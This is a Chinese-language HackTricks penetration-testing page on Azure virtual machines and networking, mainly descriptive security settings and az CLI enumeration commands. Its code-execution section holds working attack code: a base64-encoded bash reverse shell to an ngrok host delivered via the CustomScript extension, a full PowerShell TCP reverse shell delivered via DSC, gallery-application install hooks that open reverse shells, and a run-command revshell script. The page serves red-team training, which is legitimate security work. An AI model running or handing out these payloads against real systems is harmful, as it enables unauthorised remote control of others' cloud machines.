Az - 虚拟机与网络

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Azure 网络基本信息

Azure 网络包含 不同的实体和配置方式。 您可以在以下内容中找到不同 Azure 网络实体的简要 描述、 示例枚举 命令:

Az - Azure Network

虚拟机基本信息

Azure 虚拟机 (VMs) 是灵活的、按需的 基于云的服务器,允许您运行 Windows 或 Linux 操作系统。它们允许您部署应用程序和工作负载,而无需管理物理硬件。Azure VMs 可以配置各种 CPU、内存和存储选项,以满足特定需求,并与 Azure 服务(如虚拟网络、存储和安全工具)集成。

安全配置

  • 可用性区域:可用性区域是特定 Azure 区域内的独立数据中心组,物理上分开,以最小化多个区域受到本地故障或灾难影响的风险。
  • 安全类型
  • 标准安全:这是默认的安全类型,不需要任何特定配置。
  • 受信任启动:此安全类型通过使用安全启动和虚拟受信任平台模块 (vTPM) 增强对启动工具和内核级恶意软件的保护。
  • 机密虚拟机:在受信任启动的基础上,提供 VM、虚拟机监控程序和主机管理之间的基于硬件的隔离,改善磁盘加密和 更多
  • 身份验证:默认情况下会生成一个新的 SSH 密钥,虽然可以使用公钥或使用先前的密钥,默认用户名为 azureuser。也可以配置为使用 密码。
  • VM 磁盘加密: 磁盘默认情况下使用平台管理密钥进行静态加密。
  • 还可以启用 主机加密,数据将在发送到存储服务之前在主机上加密,确保主机与存储服务之间的端到端加密 (文档)。
  • NIC 网络安全组
  • :基本上打开每个端口
  • 基本:允许轻松打开入站端口 HTTP (80)、HTTPS (443)、SSH (22)、RDP (3389)
  • 高级:选择一个安全组
  • 备份:可以启用 标准 备份(每天一次)和 增强(每天多次)
  • 补丁编排选项:这使得可以根据所选策略自动在 VMs 中应用补丁,如 文档 中所述。
  • 警报:可以在 VM 中发生某些事件时自动通过电子邮件或移动应用程序获取警报。默认规则:
  • CPU 百分比大于 80%
  • 可用内存字节少于 1GB
  • 数据磁盘 IOPS 消耗百分比大于 95%
  • 操作系统 IOPS 消耗百分比大于 95%
  • 网络总入站大于 500GB
  • 网络总出站大于 200GB
  • VmAvailabilityMetric 小于 1
  • 健康监控:默认检查协议 HTTP 在 80 端口
  • 锁定:允许锁定 VM,使其只能被读取(只读锁定)或可以被读取和更新但不能被删除(不能删除锁定)。
  • 大多数与 VM 相关的资源 也支持锁定,如磁盘、快照…
  • 锁定也可以应用于 资源组和订阅级别

磁盘与快照

  • 可以 启用将磁盘附加到 2 个或更多 VMs
  • 默认情况下,每个磁盘都 使用平台密钥加密
  • 快照也是如此
  • 默认情况下,可以 从所有网络共享磁盘,但也可以 限制 仅对某些 私有访问完全禁用 公共和私有访问。
  • 快照也是如此
  • 可以 生成一个 SAS URI(最长 60 天)以 导出磁盘,可以配置为需要身份验证或不需要
  • 快照也是如此
# List all disks
az disk list --output table

# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>

图像、图库图像和还原点

一个 VM 镜像 是一个模板,包含创建 新虚拟机 (VM) 所需的操作系统、应用程序设置和文件系统。镜像和磁盘快照之间的区别在于,磁盘快照是单个托管磁盘的只读、时间点副本,主要用于备份或故障排除,而镜像可以包含 多个磁盘,并旨在作为创建新 VM 的模板
图像可以在 Azure 的 图像部分Azure 计算库 中管理,后者允许生成 版本跨租户共享 图像,甚至可以公开。

一个 还原点 存储 VM 配置和 时间点 应用程序一致的 所有托管磁盘的快照。它与 VM 相关,其目的是能够将该 VM 恢复到特定时间点的状态。

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shaerd with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

Azure Site Recovery

来自文档:站点恢复通过在停机期间保持业务应用程序和工作负载的运行来确保业务连续性。站点恢复复制工作负载从主站点到次要位置的物理和虚拟机(VM)。当主站点发生停机时,您可以切换到次要位置,并从那里访问应用程序。在主位置恢复运行后,您可以切换回去。

Azure Bastion

Azure Bastion 通过 Azure 门户或通过跳转箱启用对虚拟机(VM)的安全和无缝的远程桌面协议(RDP)安全外壳(SSH)访问。通过消除对公共 IP 地址的需求,使您的 VM 更加安全。

Bastion 在其需要工作的 VNet 中部署一个名为**AzureBastionSubnet的子网,子网掩码为/26。然后,它允许通过浏览器连接到内部 VM**,使用RDPSSH,避免将 VM 的端口暴露到互联网。它还可以作为跳转主机工作。

要列出您订阅中的所有 Azure Bastion 主机并通过它们连接到 VM,您可以使用以下命令:

# List bastions
az network bastion list -o table

# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa

# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>

元数据

Azure 实例元数据服务 (IMDS) 提供有关正在运行的虚拟机实例的信息,以协助其管理和配置。它提供 SKU、存储、网络配置以及即将进行的维护事件的信息,所有这些信息通过 可在非路由 IP 地址 169.254.169.254 访问的 REST API 提供,该地址仅可从 VM 内部访问。VM 和 IMDS 之间的通信保持在主机内部,确保安全访问。在查询 IMDS 时,VM 内部的 HTTP 客户端应绕过 Web 代理以确保正确通信。

此外,要联系元数据端点,HTTP 请求必须具有 Metadata: true 头,并且不得具有 X-Forwarded-For 头。

检查如何枚举它:

Cloud SSRF - HackTricks

VM 枚举

# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>

## List all available VM images and get info about one
az vm image list --all --output table

# VM Extensions
## List all VM extensions
az vm extension image list --output table

## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>

## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>

# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>

# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shared with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

# Bastion
## list all bastions
az network bastion list -o table

# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"

## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table

## List public IPs
az network public-ip list --output table

## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table

## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"

## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>

## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table

## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table

## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table

# Misc
## List all virtual machine scale sets
az vmss list --output table

## List all availability sets
az vm availability-set list --output table

## List all load balancers
az network lb list --output table

## List all storage accounts
az storage account list --output table

## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>

# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>

## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table

# List all available run commands for virtual machines
az vm run-command list --output table

在虚拟机中执行代码

虚拟机扩展

Azure 虚拟机扩展是提供 部署后配置 和自动化任务的小型应用程序,运行在 Azure 虚拟机 (VMs) 上。

这将允许 在虚拟机内部执行任意代码

所需的权限是 Microsoft.Compute/virtualMachines/extensions/write

可以使用以下命令列出所有可用的扩展:

# It takes some mins to run
az vm extension image list --output table

# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

可以运行自定义扩展以运行自定义代码

  • 执行反向 shell
# Prepare the rev shell
echo -n 'bash -i  >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==

# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
  • 执行位于互联网上的脚本
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'

相关的虚拟机扩展

所需的权限仍然是 Microsoft.Compute/virtualMachines/extensions/write

VMAccess 扩展

此扩展允许修改 Windows 虚拟机内用户的密码(或在不存在时创建)。

# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredStateConfiguration (DSC)

这是一个属于微软的VM扩展,使用PowerShell DSC来管理Azure Windows虚拟机的配置。因此,可以通过此扩展在Windows虚拟机中执行任意命令

# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output

# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force

# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
混合运行簿工作者

这是一个虚拟机扩展,允许从自动化帐户在虚拟机中执行运行簿。有关更多信息,请查看 Automation Accounts service

虚拟机应用程序

这些是包含所有 应用程序数据和安装及卸载脚本 的包,可用于轻松添加和删除虚拟机中的应用程序。

# List all galleries in resource group
az sig list --resource-group <res-group> --output table

# List all apps in a fallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

这些是应用程序在文件系统中下载的路径:

  • Linux: /var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>
  • Windows: C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>

查看如何安装新应用程序在 https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli

Caution

可以与其他订阅或租户共享单个应用程序和画廊。这非常有趣,因为这可能允许攻击者在应用程序中植入后门并转向其他订阅和租户。

没有像扩展那样的 vm 应用程序“市场”

所需的权限是:

  • Microsoft.Compute/galleries/applications/write
  • Microsoft.Compute/galleries/applications/versions/write
  • Microsoft.Compute/virtualMachines/write
  • Microsoft.Network/networkInterfaces/join/action
  • Microsoft.Compute/disks/write

利用示例以执行任意命令:

# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true

用户数据

这是持久数据,可以随时从元数据端点检索。请注意,在Azure中,用户数据与AWS和GCP不同,因为如果您在这里放置脚本,它不会默认执行

自定义数据

可以将一些数据传递给VM,这些数据将存储在预期路径中:

  • Windows中,自定义数据以二进制文件的形式放置在%SYSTEMDRIVE%\AzureData\CustomData.bin中,并且不会被处理。
  • Linux中,它存储在/var/lib/waagent/ovf-env.xml中,现在存储在/var/lib/waagent/CustomData/ovf-env.xml中。
  • Linux代理:默认情况下不处理自定义数据,需要启用数据的自定义映像。
  • cloud-init:默认情况下处理自定义数据,这些数据可以是多种格式。它可以轻松执行脚本,只需将脚本发送到自定义数据中。
  • 我尝试过,Ubuntu和Debian都会执行您放置在这里的脚本。
  • 也不需要启用用户数据才能执行此操作。
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt

运行命令

这是 Azure 提供的最基本机制,用于 在虚拟机中执行任意命令。所需权限为 Microsoft.Compute/virtualMachines/runCommand/action

# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh

# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh

权限提升

Az - Virtual Machines & Network Privesc

未经身份验证的访问

Az - VMs Unauth

后期利用

Az - VMs & Network Post Exploitation

持久性

Az - VMs Persistence

参考

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks